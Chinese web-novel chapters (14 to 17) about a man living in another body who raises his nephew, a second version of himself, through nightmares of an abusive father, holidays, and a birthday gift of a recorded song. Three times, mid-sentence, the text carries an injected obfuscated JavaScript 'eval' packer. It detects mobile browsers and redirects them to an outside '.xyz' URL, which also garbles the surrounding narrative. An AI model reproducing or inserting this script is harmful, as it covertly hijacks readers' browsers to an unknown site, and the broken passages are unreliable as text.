14. 不怕 【你放心,到时候如果你选择回去,回去以后的身体仍然是二十五岁。】 姜洄翻页的动作一顿。 “行。” 不就是多呆八九年,无所谓,还能多享受几年人生。 两天后,在一场应酬里,姜洄因为被合作方起哄喝酒,当场冷下了脸色,合作告破。 然而和以往不同的是,以前拒绝喝酒得罪了人,对方不仅会当场给他甩脸子,事后还需要他亲自去道歉。 不愿喝的酒,仍要他一口接着一口赔罪着喝下去。 后来他学聪明了,哪怕再不愿意,也不会当场撂了面子,反正不过是喝几瓶,回去吐一晚上,然后因为胃病被折腾进医院……习惯了。 但穿越成“赵茴”之后的生活虽然也波折不断,比起他从前的人生,却可以堪称顺遂如意,只要他不想要的,没有他得不到的。 于是下意识便冷了脸。 回过神,已经坐在了车上,副驾驶的陈助理战战兢兢,从后视镜里打量他的表情,大气不敢喘一个。 姜洄沉默了下,还没说话,陈助理的手机响了。 他接了电话,小声应了几句,为难看向姜洄。 姜洄主动接话:“怎么了?” “刚刚那位老总,说要给您赔罪,让您别放在心上,不知道您不爱喝酒……” 姜洄又沉默片刻。 果真是地位不一样了,周围人的反应便也不一样了。 他挥挥手,有些疲倦地闭上眼:“赔罪就不用了,合作继续,以后这个项目给林副总负责。” 陈助理松了口气:“好的。” 当晚,姜洄便又做梦了。 他梦到自己又回到了那个家里。 低暗的房间,小巷子里刮着阴凉的秋风,屋子里灯光昏黄,父亲拎着酒瓶裹着一身寒凉入门,身上沾着浓烈的酒精味。 他抬起头,听见不堪入耳的咒骂声,视线接着天旋地转,父亲的拳头随后一下下落在他身上。 没有原因,只要父亲喝了酒,他就会打人,毫无预兆。 梦里的他想要反抗,却浑身无力,好像又回到了最无能为力的那个年龄,疼痛从混沌的画面中仿佛也一下下传递到了他身上。 只能露出熟悉的、防御的蜷缩姿势。 他想说,别打了。 但是张口,却只能喊出一声很轻的:“妈妈。” 他想起学校里,语文老师曾经在安全教育课上和他们说过一件拐卖的案件,告诉他们如果遇到危险,请大声呼喊妈妈。 因为人们不一定会帮助陌生人,但妈妈们一定会帮助孩子。 他听着耳边的痛骂声,麻木地想,错了。 喊妈妈,妈妈不会帮他,也不会再出现了。 因为被拐掉的人不是他,是她。 姜洄醒了。 屋里一片黑暗,窗帘被拉上了一半,他透过窗户,看见了深夜外面的零星灯火。 姜洄抹了抹眼角,是湿的。 其实父亲入狱以后,他就很少再梦到对方了。 他一直十分厌恶酒精的味道,因为这代表着,父亲的拳头会落到他的身上,带来一身伤痛和麻木。 厌恶到很长一段时间里,他闻见这个这个味道都会作呕,不受控地发抖、心悸,甚至于说不出话来。 ……他现在好像就在抖。 姜洄一只手按在另一只手的指尖,试图将这不受控的抖动压制下去,但尝试了数十秒,他失败了。 他听见自己的喘息声低低地回荡在安静至极的房间里,有好几分钟的时间,他一句话也说不出来,脑子里一片空白。 直到门被人敲响。 姜洄就犹如被人一刀震在菜板上的鱼,心口重重一跳,应激般朝门口看去。 他缓了缓:“……谁?” “小叔叔。”是赵熙的声音。“……是我。” 姜洄静了上十秒,才起身去开门。 赵熙穿着一身睡衣、怀里抱着枕头站在门口,在黑暗里抬头对上他的视线。 “……什么事?”姜洄无意识地皱起眉。 他抬手去按灯,却发现灯光并没有反应。 与此同时,赵熙低下头,语气窘迫道:“家里停电了……我有点害怕。小叔叔,我能和你一起睡吗?” 姜洄:“……” 他不记得自己怕黑。 但看赵熙肩膀微微抖动着,不像作假,犹豫了下,他还是侧过了身。 虽然厌恶与人肢体接触……但如果是以前的自己,倒也没什么。 不然总不至于要一个小孩子打地铺。 姜洄关上门,垂在身侧的手指蜷缩了下,确定自己没再发抖了,默不作声去翻手机。 一堆的工作群消息里,姜洄拉到其中一个业主群,发现物业确实有提前通知过,因为特殊天气原因影响,今晚十二点后会停电六个小时。 怪不得感觉有点冷,屋里的空调关了。 姜洄掐灭手机,坐回到床上,见赵熙站在床边犹豫不决,他抬头:“不上来?” 赵熙便看了他一眼,眸子在夜色里反射着微微的亮色。 他拘谨地脱了鞋,轻手轻脚地上了另一侧的床。 规规矩矩把自己的枕头在一旁摆好,努力不占据更多位置,然后规规矩矩躺了下来。 不知是不是心理作用,赵熙总觉得小叔叔的被窝都带着一股淡淡的香气,是一种幽静又缱绻的香味,在深冬的夜里如此温暖,且相当沁人心脾。 他一下子安心许多,有些愧疚道:“小叔叔,我打扰你睡觉了吗?” 姜洄躺下来时,顺手给他掖了下被子,平静道:“没有,刚好醒了。” 赵熙“哦”了一声:“那就好。” 虽然一起躺在了被窝里,但他束手束脚的,似乎不太敢靠近姜洄,两人中间还隔了半个人的位置,中间的缝隙凉飕飕的,直往里面钻风。 姜洄盯着天花板,眼皮半耷拉着,身体有些困倦,人却是精神的。 他主动开口问:“为什么怕黑?” 赵茴沉默了一会,原本想糊弄过去,想到小叔叔之前说过凡事不可以瞒着他,犹豫片刻,还是诚实道: “……上次,被关在体育器材室里,那里就很黑。” 被关在那里叫天天不应叫地地不灵的两个小时,真的令他感到了恐惧。 因为想尽办法都出不去,而黑暗会让人想得更多,在嗓子已经喊得精疲力尽之后,他总是禁不住去想,要是老师没发现他不见了怎么办。要是老师找不到他怎么办,孙沿不肯告诉老师他在哪里怎么办…… 他会死在这里吗?会等到一两天很久才被人发现吗? 这种担忧有些好笑,甚至是杞人忧天,但他毕竟是个孩子,很难不怕。 这种恐惧在老师打开门找到他后消散了一些。 又在姜洄的电话传来忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033599|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音时,重新到达了顶峰。 从那天以后,明面上自然是没有什么的。 可是每到晚上,关掉灯,陷入一片黑暗,他总会想起呆在体育器材室和满屋子冰冷器材相处的两个小时。 于是他再也不能在黑暗下安心入眠,每晚都必须开着灯,在明晃晃的光亮下才能睡去。 他还不明白的是,这种恐惧,其实不是害怕黑暗本身,而是害怕被人再次抛弃。 姜洄安静了许久。 他转过身,面对赵熙的方向,道:“没事。” 他伸出手,从被子里探过去,将对方轻轻揽进怀里,拍了拍赵熙的肩背。 这是一个可以称作拥抱的姿势。 赵熙僵住了。 从没有人这样亲密地拥抱过他。 假如这算是一个拥抱的话。 但不等赵熙脑子乱一乱,姜洄口里又哼出了一段曲音特别的小调。 模糊了前端与后端的词汇,只剩下一句略显清晰的:“……不怕不怕哦。” 赵熙愣住了。 “这个……” 这个调子,他听过的。 很早的时候,某次差点从凳子上摔下来,母亲猛地冲过来接住了他,这种陌生的曲调就从妈妈嘴里念了出来。 “我以前听过的一首歌,听说是怕小孩吓得魂儿没了,叫魂儿的。”姜洄笑笑,“只是忘了叫什么了。” 赵熙干巴巴地哦了一声。 “这样安慰你有没有好点了?”姜洄轻轻拍了几下,道。“还有,别这么僵硬,不冷吗?靠过来点。” 赵熙听话地靠过去了一些,终于将那点灌着冷风的缝隙堵住了。 两人手臂几乎都贴着,姜洄有些不自在和人靠得这样近,但说要人靠近点的也是他。于是过了两秒,只能又侧了个身,平躺了回去。 怀抱落空,赵熙心中有一点小失落。 但他没有表现出来,望着姜洄俊秀优越的侧脸,赵熙踌躇着问:“小叔叔刚好醒了,是做噩梦了吗?” 姜洄盯着天花板:“……嗯。” “和今天的事情有关吗?”赵熙斟酌着语言,“我听说你今天不太高兴,是因为有人要请你喝酒,你不喜欢吗?” 姜洄:“你听谁说的?” “我去问王叔的。” 虽然姜洄也叫王叔,但叫的只是一种尊敬,不代表王叔有多老,赵熙要是叫爷爷,反而显得奇怪。 姜洄轻叹一声:“是啊,所以呢?” 赵熙沉默了会儿,悄悄靠近了些:“那,我也拍拍小叔叔。” 他伸出手,落在姜洄肩上,口中哼出同样的、却更加显得青涩稚嫩的小调:“……小叔叔,不怕不怕哦。” 姜洄:“……” “有没有好一点?”赵熙学着他问。 姜洄扯了扯嘴角。 不知为何,他竟然真被这几句小调哄柔了心头肉。 姜洄呼出一口气,没有回答,语气却轻快了许多:“睡觉吧。” 后半夜,姜洄难得一夜无梦。 这天下班后的路上,路过一家娃娃店,姜洄给他买了个皮卡丘的娃娃抱枕。 “给我的?” 姜洄点头。“不是怕黑吗?怕的时候要是抱着点什么,应该会好点。” 赵熙眼中迸发出巨大的欣喜,抱住娃娃,连连道:“谢谢小叔叔!” 他也有娃娃了!还是小叔叔送的! 15. 五年 姜洄没想到的是,离了赵熙,自己竟然一连好几天都失眠了。 以前这样的情况不是没有过,但每次只要带上耳机,听着舒缓的音乐,总能渐渐入睡。 这已经是他多年的习惯了。 没想到现在,连音乐都不管用了。 本以为是单单那天做噩梦的问题,但想到赵熙当晚来了之后他又睡得很好…… 犹豫再三,这天,姜洄若无其事地对赵熙道:“要不然,你搬来我房间和我住吧。” 赵熙磕巴了一下:“为,为什么?” 姜洄正在看书,头也没抬,语气平静,且义正词严,任谁来也看不出他的小心思:“要是再停电一次,娃娃在,你就能保证不怕了?我可不想半夜再被敲一次房门。” 赵熙觉得他说得有道理,还深觉小叔叔为了自己真是费心了。 于是从这天起,赵熙搬进了姜洄的房间,他的日常用品也在对方房间占据了半边。 原来的房间则成了他专门写作业的小书房,姜洄有公务处理的话直接进大书房,他们仍然能做到互不打扰。 姜洄也确定下来,这真的不是错觉。 赵熙搬过来之后,因为被窝里还有另一个人,一开始他还有些不习惯,但没两天时间,就能够一夜好眠,睡到天亮。 不仅用不着安眠药,耳机也用不上了。 姜洄感觉他身上或许有什么特殊的安神剂。 几天后,赵氏集团放了年假,姜洄也终于结束了几个月的忙碌,可以好好休息一下了。 小时候过年,家里总是死气沉沉的,和别人家格外不一样,除了电视剧放着的春晚,几乎和平常日子没什么不同。 于是经济独立、和姜父分居两地后,姜洄每个年过得也都十分简单,虽然也会早早去购置年货,买很多平时想买又舍不得买的东西,花很多的钱只为讨自己欢心,但除夕夜的年夜饭,却只会简单吃上一顿饺子。 毕竟只有一个人过,煮太多饭菜也没有必要。 只是偶尔看着外面鞭炮齐鸣,万家灯火与合家欢乐,也会生出几分寂寥之意来。 但今年不一样了。 做饭的李阿姨和王叔主动留到了二十六才回家,走之前还嘱咐姜洄,可以给小少爷买些新年礼物,年货也要提早去买,就算只是两个人过年,也要过得有年味。 姜洄于是才恍惚发觉,在偌大的别墅所有人都离开后,今年过年,屋子里除了他,还会有一个赵熙。 除夕夜当晚,赵熙主动下厨,做了一大桌子菜,看着色香味俱全,令人口齿生津。 姜洄有些诧异,毕竟他不记得自己有这个手艺。 年幼时在姜家,虽然会做饭,但都只是按着勉强糊口的程度来做,根本算不上什么擅长。 赵熙倒是笑容灿烂:“我平时和李阿姨学的,不过她厨艺好,我也不好意思让小叔叔吃我做的菜,现在她放假了,总算有我发挥的余地了。” 姜洄便伸筷子尝了尝,点点头:“挺好的。” 赵熙脸上的笑容更大了些。 “小叔叔喜欢就好。” 他们老家有除夕夜的年夜饭喝酒的习惯,姜洄不爱喝酒,所以每次都用饮料代替。 他吃了两口,思索着以前看过的那些长辈对小辈的祝词,端起饮料的杯子,对赵熙道:“……新年快乐,万事顺意。” 果然祝福别人什么的,还是不太适合他,比起这个,姜洄更擅长阴暗地躲在角落诅咒别人。 赵熙连忙端着自己的杯子站起来:“谢谢小叔叔,小叔叔新年快乐,健康平安、心想事成!” 姜洄不适应这种场面,看得出来赵熙也不擅长。 他们各自说完,对视了一眼,原本都有些僵着,这一眼却让姜洄笑出了声。 “坐下吧,我不讲究这些,和我说话不用特意站起来。” 赵熙应了,只是坐下之后,神色却有些扭捏。 “怎么了?” 赵熙从口袋里拿起一个小盒子,腼腆道:“小叔叔,这是我给你的新年礼物。” 姜洄挑了下眉。 他接过打开看了眼,竟然是块平安符。 “听说小叔叔以前总是遇到危险,”赵熙顿了顿,继续道,“我也没办法帮您什么,就跟着李阿姨去寺庙求了一张平安符。” “虽然不值什么钱,但是,也希望您能开心。” 在赵熙眼里,小叔叔最不缺的大概就是钱了。 所以思来想去,他还是去求了一张平安符。 怪不得会说“平安健康”。 姜洄心头好像被什么捏了一把,心尖软和起来。 他道:“给你的礼物,在客厅桌上放着。” 赵熙眨眨眼:“我也有礼物?” 姜洄:“当然。” “可是小叔叔给我的已经够多了……” 对比起来,他送的这枚符实在微不足道。 姜洄道:“一码归一码,这是新年礼物。” 赵熙眼眶突然红了。 他低下头:“谢谢小叔叔。” “这是我第一次收到新年礼物……” 他努力矜持地询问姜洄能不能现在就去把礼物拆开,得到应允后,一溜烟便跑去客厅将那礼物盒子拆开了,瞬间茫然又惊喜道:“游戏手柄?” 姜洄听着他的声音,笑了笑。 小孩嘛,总是喜欢这些的,不至于送错。 吃饱喝足,两人一起坐在沙发上等着看春晚,这个时候的春晚还没有后来那么难笑,看着也算有些趣味。 赵熙看得目不转睛,姜洄只是偶尔瞥上几眼,但见赵熙看得高兴,不免也心情松快几分。 因为守岁,家里开着的灯都不能关,这一晚别墅灯火通明。 他看到一半,便接近零点了,回到房间,姜洄接到了一通电话。 是赵青的最终判决——果不其然的死刑。 他和告诉他这个消息的金警官说了声新年快乐,已经结束了案件调查、难得松懈下来的金警官也笑着说:“新年快乐。一切都会好的。” 姜洄挂断电话,回头看向坐在床边撑着下巴继续看春晚的赵熙。 来到这个世界的第一个年,他们一起度过。 窗外的鞭炮声和电视里主持人的倒计时声一同响起。 就在这热闹的喧嚣声中,赵熙也扭过头,看向了他。 他们的目光触碰在了一起,姜洄看见他扬起唇角,在十二点的钟声敲响时,他们同时面向对方,说了句:“新年快乐。” 与此同时,002也欢快地在他脑海里放起了鞭炮:【新年快乐!】 一切都会好的。 …… 新年以后,无需应付杂七杂八的亲戚,年味很快在他们躺平啃年货中度过。 一切步上正轨,时光便如流水逝去。 自从搬进姜洄的房间,赵熙也和他日渐亲昵起来,甚至敢拿着不懂的问题去请教他了,姜洄也次次来者不拒。 虽然他其实高中都没上过,但上学时成绩不错,加上后来自学了许多,应付小学的题目还是很轻松的。 赵青入狱之后,他的公司也因为偷税漏税等问题面临破产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033600|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负债,徐琳赔付了大部分,随后和赵青掰扯离婚,不久就带着儿子和剩下的那点家产去了国外,彻底和赵家没了联系。 第二年,赵青执行死刑。 再一眨眼,便已经是五年之后。 这一年,赵熙已经十五岁。 他正初三,年后就要中考,正是长身体的时候。 赵家每天好吃好喝伺候着,他的身量便宛如抽枝一般飞快地拔高,也不再是从前那个说话需要费劲地仰视姜洄、发育不良的小个子了。 近几年,姜洄对他要求也越来越严格,看着他的时候,不知为何总是不由自主地出神。 甚至赵熙敏锐地发现,他常挂在脸上的那份浅淡笑意,也总是会在面对他时悄然消散不见。 赵熙不明白哪里出了问题,可姜洄也并没有对他做些什么,也仍旧像从前那样,该给他什么都会给,只是不爱对他笑了而已。 于是满腔郁闷,无处可说。 他总不能直接去问小叔,为什么你看着我的时候不笑了吧? 其实他也没感觉错。 随着赵熙身量逐渐拔高,稚嫩的脸庞也慢慢长开,姜洄就意识到,他和原来的自己已经不同了。 他被赵家的财富和地位养得矜贵得体,原本还有些粗糙的皮肤已经变得白皙细腻,而赵家营养师给他定制的健身计划让他的身体也变得十分强壮,不再像另一个世界的姜洄一样病怏怏的。 十五岁,没能被拯救的黑崽游荡在街头,因为错过中考、反抗暴力而不知去处,即将彻底失去伤残的右眼,并为了平息一场官司而踏上另一个黑暗的深渊。 而十五岁的赵熙,却因为那个小巷里姜洄一念之差伸出的手,已经彻底改变了未来所有的轨迹。 他不会再回那条落日小巷,也不必在底层的贫民中继续挣扎。 赵熙已经褪去了黑崽的影子,更不再可能是另一个姜洄了。 姜洄越看他,越觉得陌生。 从他决心将人带回来的那一刻,其实他就该料到,赵熙绝对会成为一个和“姜洄”完全不同的人。 可眼睁睁看着这一天越来越近的时候,他还是不得不承认,心底那种微妙的情绪也在随之逐渐放大。 姜洄知道,那是嫉妒。 对另一个世界、完全不同的自己,产生的嫉妒。 他看着这张越来越熟悉的脸,总会忍不住出神,自然也没什么心情再朝对方露出笑颜。 可偏偏赵熙经过几年相处,如今对他亲近极了,不论他如何冷脸,总是锲而不舍地继续往他面上凑。 姜洄有时会忍不住迁怒于他,例如今天。 见他放学回家便欢快地丢了书包,径直往姜洄面前的沙发上坐,眼看着又要凑上来—— 姜洄斜眼睨他,冷声道:“练了几年的仪态了,现在也弯腰驼背没个正形。” 赵熙便顿住动作,有些委屈:“我只是在家放松了一些……” 虽然没有那么端着,但也不算是弯腰驼背吧? 姜洄淡淡扫去一眼:“嗯?” 赵熙便将剩下的话憋了回去,低头,却默默挺直了腰板。 姜洄安静了一会儿,也觉得自己有些小题大做了。 心中不忿,便拿什么都不知道的赵熙发泄吗? 他在心中唾弃自己,随即缓下表情,闭了闭眼,淡声安抚道:“行了,既然回来了,上楼学习去吧。” 他也该控制一下自己的情绪了。 赵熙对他的亲近态度,也影响到了他自己,甚至已经不自觉在他面前泄露心底的情绪了——不管好坏。 16. 礼物 姜洄心中烦躁,这天吃过晚饭便早早回了房间。 赵熙上了初三,每天的任务繁重,作业也更多了。 他成绩很不错,因为姜洄对他的高要求,现在每次考试都能排在前三名,作业对他而言也没有什么难题。 除了有些时候实在觉得困扰,基本不会拿题目来问姜洄。 也因此,基本每次他做完作业回到房间,姜洄差不多都已经躺着睡着了。 但今天似乎不太一样。 姜洄洗完澡出来,擦着头发,往床边一坐,随手翻了翻手机,便听见门被人敲响了。 不出意料,这个时间,肯定是赵熙,但他自从和姜洄熟悉了之后,进房间也没有敲过门了。 除非,他做了什么错事,或是姜洄正在生气。 姜洄出神间,赵熙已经端着一杯温牛奶走了进来:“小叔叔。” 姜洄目光在他手中的杯子上瞥过一眼,不太明白:“你作业写完了?” 赵熙没有立刻回答,他将牛奶放到一边,伸手轻巧而自然地接过姜洄手里的毛巾,站在他身侧帮他擦拭起头发来。 姜洄动作一顿,没有阻止。 这其实不是赵熙第一次帮他干这种事情,不过姜洄懒得管,他乐意擦就让他擦。 赵熙身上有种很淡的澄澈清茶味,离得近了才能闻到,应该是常用的那款沐浴露的味道。 姜洄每次闻到这个味道,都相当安心,但自己无论怎么洗都洗不出一模一样的味道。 而且和侄子用同一款沐浴露只为了味道一样,说出去怎么都觉得怪怪的……他洗了两次,也就放弃了。 姜洄闭上眼,在若有若无的浅淡气息里安静下来。 赵熙轻声道:“我帮您吹干吧。” 姜洄“嗯”了一声。 赵熙闲聊般问:“明天周末,您想吃点什么?” 自从姜洄夸过他厨艺不错,赵熙便常常去跟李阿姨请教学习,几年间时不时地锻炼下来,手艺已经相当好了。 姜洄每次胃不舒服或是想吃些什么,他都会自告奋勇。 但这次姜洄听着,只微微皱了皱眉:“不用麻烦,你专心学习吧。” 赵熙默了默,没有立刻说话,他摘下毛巾,换了静音的吹风机。 温热的风吹过姜洄柔顺的头发,他的手指轻柔地穿插在发间,动作娴熟温和,像是给他按摩。 赵熙语气寻常道:“不麻烦的,明天阿姨放假,要是点外卖吃,对胃不好。” 姜洄就算穿越了,习惯也没改,工作起来时常忘了吃饭这回事,胃病发作过几次,赵熙也就知道了他有这个毛病。 姜洄沉默两秒:“你总照顾我的习惯,那你呢?” 赵熙动作微微一顿。 “我一直想问……小叔叔,最近是不是心情不太好?” “是最近公司遇到什么事情了吗?” 姜洄不动声色地抿了下唇,转过目光,看向窗外,语气淡淡:“没有。” 连赵熙自己都看出来了,看来他真是放纵得可以,情绪已经能在对方面前随意展露了。 见他避而不答,赵熙也看出什么,没继续问下去,而是温声道:“小叔叔,照顾你的习惯是因为,你是我最重要的人。” “我不觉得照顾你的习惯有什么不好,相反,看你因为我的照顾而感到舒适放松,我会很开心。” “你开心了,我就开心。” “何况,你也照顾了我很多啊,没有小叔叔,就没有现在的我。” 姜洄安静了一会儿,在吹风机低低的嗡鸣中竟然感觉到,躁动的心好像奇异地被少年这几句话而安抚了下来。 他垂眸,轻哼:“随便你吧。” 赵熙笑笑:“那小叔叔现在还不开心吗?” 姜洄斜眼睨他:“你以为你是什么人,说两句好话就能让我高兴了?” 赵熙便点点头,道:“也是。” 他想了想:“那我下次考试,拿第一给小叔叔看好不好?” 姜洄微微侧首看他。 赵熙神色认真,很明显不是在开玩笑,他是真的有这个打算。 也许因为姜洄有意无意,整天在他耳边念叨学习,让他以为姜洄很在意他的学习成绩,所以他真的觉得拿到第一名或许小叔叔会高兴。 虽然姜洄只是怕他像自己那一世一样,连个高中都没得上。 姜洄笑了:“才一次?” 赵熙眨眨眼:“那,以后都拿第一名?” “口气不小。” “小叔叔教的嘛,只要有实力,这种话说出来就叫自信。” “那就等你拿到再说吧。” 赵熙很轻地笑笑,没再聊下去,继续给他吹头发。 低低的嗡鸣声中,姜洄听见他说:“小叔叔,你的头发长了。” 该剪了。 从赵熙接手给他吹头发的业务后,他剪头发现在全靠赵熙每次给他提醒。 姜洄没睁眼,嗯了一声。 …… 不到半个月,赵熙果然给他考了个第一名回来。 只是赵熙并不知道的是,姜洄看见他的成绩单,内心更复杂了。 赵熙的成绩,不仅能上高中,甚至是全市乃至于全省最好的高中。 他的人生已经欣欣向荣,这份普通却耀眼的成绩单,仿佛也在告诉姜洄,他和你已经不一样了。 看他笑得含蓄却眼含期待,姜洄压下心里那点郁闷,面上点头,笑了下,道:“不错。” 见他终于不再绷着一张脸了,赵熙明显放松了些,腰背也挺得更直了。 他欢快得像只撒欢的小狗,又开始为姜洄鞍前马后地忙活,还满脸乐在其中。 一年后,赵熙不出所料地,以中考状元的成绩,考上了本市最好的重点高中,江城一中。 他的题是姜洄亲自帮忙押的,在他考前一周,姜洄甚至把所有工作都带回家了做。 虽然赵熙成绩很好,只是偶尔才会有向他请教的时候,但姜洄能从他的眼神里看明白,哪怕自己没上过高中,这些有时赵熙都觉得困难的题目,他也从没有答错过。 于是看着赵熙拿回来的高中录取通知书,姜洄表面笑着,眼底却尽是空茫。 他们明明是一个人,有一样的家庭背景和经历。 十五岁时,拿到通知书的却只有赵熙,没有他。 ——可惜。 可惜他已经不是少年了,也没办法回到自己的十五岁,重新中考一次了。 熟悉的郁气从心头涌出,姜洄低下眉眼,借口有事上了楼。 赵熙看着他的背影,面上的笑意慢慢往回落下。 他捏着手里的录取通知书,有些惴惴不安地站在原地,不太明白为什么明明自己取得了好成绩、进了好学校,小叔叔看上去……却仍然不是很高兴。 也许…… 也许是,他还不够努力,让小叔叔觉得荣耀吧。 …… 进了高中,赵熙好像也变得稳重了许多。 他将更多的精力投入了学习中,甚至比从前更努力了些。 姜洄看在眼里,只当他是高中学习压力大,左右赵熙自己心里有数,他也没多管。 他专注工作赚钱之余,也刻意放松了对赵熙的管制,闲暇时要么补觉,要么听音乐看书,倒也乐得悠闲自在。 人一旦有钱了,没事可忙了,就总会需要追寻一些精神上的美满,姜洄的兴趣不多,音乐算是一个。 但他也没什么时间和兴致去自己学,也没那个天赋,他只喜欢听。 有合作伙伴听说他喜欢听歌,直接送了他整整一箱不同歌手的经典流行专辑。 但姜洄很挑,当下流行的歌曲,除了几首舒缓催眠的小调,基本没有合他口味的音乐,于是那堆专辑拿回来也基本只是在书房放着生灰。 日子就这样慢悠悠过着,一天天溜走。 十一月八号,原主的生日。 来到这里以后,姜洄从不节外生枝,生日也是按着原主的过,或许也正是因为不是自己真正的生日,又或许是年岁上来了,过了几年富贵日子,姜洄开始对这些虚礼没什么兴趣。 刚来那几年还入乡随俗办个生日宴,邀请豪门大户商业伙伴来参加,做足了样子。 但这两年生日,也只是简单在家里吃几口蛋糕便了事。 赵熙倒是觉得太敷衍了,只是劝不动姜洄,他便听信了李阿姨说是生日要吃长寿面的说法,见姜洄不愿折腾别的,便每年都下厨给他煮碗热气腾腾的面吃。 这一年生日,姜洄已经做好了对方提前回家给自己下面庆生的准备,没想到赵熙却直到晚上九点才终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033601|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于回到家里。 姜洄心里不失落是假的,有这样一个人将他的事样样都放在心上,他哪怕面上不在意,实则心中还是高兴的。 但毕竟是孩子,也许看他没什么兴趣,今年就懒得给他折腾了。 听见大门开门声,姜洄端着牛奶,看了眼手机。 晚上九点半。 赵熙的高中十点放晚自习。 他没有请假提前回家,但是他似乎也没去晚自习,因为他穿的不是校服。 和朋友出去玩了? 姜洄站在楼梯口的位置往下看,玄关灯光照在赵熙身上,显得他行色匆匆。 大衣还没脱,就在四处张望,目光从空无一人的沙发再扫过家里的各个位置,似乎在找姜洄的身影。 姜洄冷眼看了两秒,终于开口:“回来了?” 赵熙抬头,惊喜地看过来:“小叔叔。你还醒着?” 姜洄:“你觉得我该昏过去了吗?” 这个冷笑话并不好笑,因为平时姜洄这个点确实已经昏睡过去了。 赵熙咳了一声,飞快换了鞋,噔噔噔地上了楼,到姜洄面前又刹住车,眼睛亮亮的,递出一个盒子:“给。” 姜洄这才注意到他手上还拿着一个包装精美的礼盒。 他顿了顿:“这是什么?” 赵熙清了清嗓子,听得出语气有些紧张:“……专辑。” 专辑? 赵熙声音小了一些:“送您的生日礼物。生日快乐。” 姜洄挑眉。 还以为有什么新巧思,原来也已经是商业伙伴玩老了的套路。 该不会是借口家里长辈过生日,出去玩得忘了时间,然后随便买了个专辑临时凑数吧? 姜洄如此漫不经心地恶意揣度着。 他接过盒子,淡淡道:“谢了。” 好歹生日礼物也给了,他做不出当面给赵熙摆脸色的事情。 赵熙舔了舔唇,还想说什么,欲言又止半天,什么话都没说出来,脸倒是红了。 姜洄等了一会儿没等到他开口,有些不耐,压着脾气耐心问:“怎么了?” 赵熙又咳了两声,磕巴道:“没,没事,您,记得听。” 他顿了两秒:“您饿吗?我现在去煮面。” 姜洄“嗯”了一声:“等等。” 赵熙停下脚步,回头看他。 姜洄掂了掂手里的盒子,语气莫名:“你晚自习没去,是因为这个?” 赵熙:“……是。” 姜洄轻哼了一声,神色浅淡,没说信不信。 赵熙以为他不高兴自己没去上晚自习:“我请假了,不是逃课。” 姜洄回了房间,将专辑放到一边,随手先翻开了一本书。 但不知为何,今天这书格外看不进去。 翻了两页,他还是神思不属地把那专辑拿起来了。 总觉得这小子有什么事瞒着他没说。 他将盒子拆开,专辑封面只有四个字:生日快乐。 此外就是一堆花里胡哨的蛋糕和烟花小装饰,看着风格明媚欢快。 难不成是生日快乐歌? 姜洄心中疑虑更甚,没见过专辑有这样的。 里面什么都没有,只有一张唱片,底下还有个U盘。 唱片不好放,要去书房找唱片机,姜洄就先把U盘里的音乐下载到了手机上。 歌曲名字是“岁月里的花”。 这首歌他听过,有一段时间很喜欢把它当作睡前曲,曲调温柔中带几分忧郁。 但要说它有多特别,好像也没有。 他连上耳机,好奇心在此时已经达到了顶峰。 耳机里,一段略显青涩的吉他前调后,温柔缱绻的男声响起在他耳畔。 “亲爱的,人间浪漫多像一朵花。” 姜洄微微一顿。 “想要种鲜花,总要学会清泥沙。” “你看,总是有人手握尘埃又洒出朝霞。” “云会升起,雨会落下。” “不用催促啊,耐心的人才可以看见童话。” …… 姜洄听得恍惚。 倒不是难听,也不是太好听。 相比起这个,最让他惊讶的是——这声音,他太熟悉不过了。 是赵熙。 17. 情书 ——他送了姜洄一首,自己唱的歌。 虽然嗓音仍显青涩,却并不生疏,看得出来绝对不是临时起意。 姜洄忽然想起这几个月起来,赵熙一下子变忙了很多,他本来以为是步入高中所以赵熙忙于学业。 现在看来,或许也不尽然。 耳机里的声音沙哑缱绻,音色混合在少年与青年之间,用着姜洄最熟悉的声音,在他耳边唱着最温柔的曲调。 ……什么时候学的? 姜洄并不觉得自己有什么音乐细胞,他很少开嗓唱歌,对这行也不感兴趣,虽然进入娱乐圈演戏是形势所迫,但也从没有过转行的想法。 赵熙唱这首歌,是因为他喜欢,还是因为姜洄喜欢? 正出神间,门被赵熙打开了。 “小叔叔,长寿面好了。” 姜洄下意识将耳机摘下来,仓促间匆忙连同那U盘和礼盒一起藏进了抽屉。 好在他动作够快,赵熙虽然没敲门,但进来时视线还在手中的碗上,没注意到他在忙什么。 听见动静,他微微抬眼,没看出什么不对,于是将碗筷放到了姜洄面前。 一碗热气腾腾、色香俱全的长寿面。 “生日快乐。” 他又说了一遍。 